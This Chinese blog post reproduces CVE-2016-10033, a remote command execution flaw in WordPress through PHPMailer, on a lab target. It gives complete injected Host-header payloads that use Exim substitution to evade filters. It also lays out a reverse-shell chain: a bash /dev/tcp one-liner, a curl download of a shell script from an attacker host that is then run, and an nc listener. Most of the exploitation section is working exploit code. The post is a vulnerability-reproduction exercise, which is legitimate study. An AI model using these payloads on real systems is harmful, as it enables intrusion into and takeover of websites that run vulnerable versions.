欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

WordPress<=4.6 RCE(CVE-2016-10033)

程序员文章站 2022-03-05 14:16:54
...

前言

WordPress 是一种使用 PHP 语言开发的博客平台,用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站。也可以把 WordPress 当作一个内容管理系统(CMS)来使用。

漏洞详情

wordpress使用phpmailer组件进行重置密码邮件的发送,但是phpmailer < 5.2.18之前的版本存在命令注入漏洞,WordPress 使用 PHPMailer 组件向用户发送邮件。PHPMailer(版本 < 5.2.18)存在远程命令执行漏洞,攻击者只需巧妙地构造出一个恶意邮箱地址,即可写入任意文件,造成远程命令执行的危害。

影响版本

WordPress <= 4.7.1 PHPMailer < 5.2.18

漏洞分析

参看大佬分析:

https://www.cnblogs.com/ssooking/p/8893264.html

wordpress使用phpmailer组件进行重置密码邮件的发送,phpmailer组件调用linuux系统命令sendmail进行邮件发送,由于关键函数serverHostname没有对传入的参数SERVER_NAME进行过滤,导致任意构造拼接。在ubuntu/debain中,exim4取代sendmail功能,所以可以根据exim4语法进行命令参数拼接,然后通过其字符串窃取函数的特性,绕过wordpress和PHPMailer库的防注入空字符到sendmail命令的机制。所以可以构造原命令如下:

target(any aaa@qq.com -be ${run{/bin/touch /tmp/success}} null)

通过如下替换规则:

payload中run{}里面所有 / 用${substr{0}{1}{$spool_directory}}代替

payload中run{}里面所有空格用${substr{10}{1}{$tod_log}}代替

最后得到替换后payload:

target(any aaa@qq.com -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}}  null)

漏洞利用

该漏洞利用需要满足以下几点:

1.执行的命令不能包含一些特殊的字符,例如 :,',"和管道符等,因此不能直接用bash -i >& /dev/tcp/192.168.30.129/4444 0>&1反弹shell

2.该命令将转换为小写字母

3.命令需要使用绝对路径,比如用wget工具要/usr/bin

4.需要知道一个现有的用户名

 假设我们知道存在的真实用户名,jammny。进入漏洞页面:

http://192.168.30.128:8080/wp-login.php?action=lostpasswo

WordPress<=4.6 RCE(CVE-2016-10033) 

点击获取密码并Burpsuite抓包,修改host的值为:

target(any aaa@qq.com -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}}  null)

 WordPress<=4.6 RCE(CVE-2016-10033)

放包后,可看到靶机相应目录生成了succes文件

WordPress<=4.6 RCE(CVE-2016-10033) 

反弹shell手段

反弹shell原命令:

target(any aaa@qq.com -be ${run{bash -i >& /dev/tcp/192.168.30.129/4444 0>&1}} null)

由于特殊字符不能执行,只能转换成空格和 / 来执行,因此分以下几个步骤:

 1.开启http服务器,用来wget脚本

python3 http.server 80

2.下载我们的反弹shell脚本

target(any aaa@qq.com -be ${run{/usr/bin/curl -o/tmp/shell 192.168.30.129/shell.sh}} null) 

3.执行/tmp下的shell脚本

target(any aaa@qq.com -be ${run{/bin/bash /tmp/shell}} null)  

4.nc监听相对应端口

nc -lvvp 4444

5.替换后需要抓包修改host值,发送下面两条命令:

target(any aaa@qq.com -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}curl${substr{10}{1}{$tod_log}}-o${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell${substr{10}{1}{$tod_log}}192.168.30.129${substr{0}{1}{$spool_directory}}shell.sh}} null) 
target(any aaa@qq.com -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell}} null) 

END

本来想做一系列复现的,可是最近在忙毕业设计,有机会再补充吧。快毕业了。。。

 

相关标签: 漏洞复现系列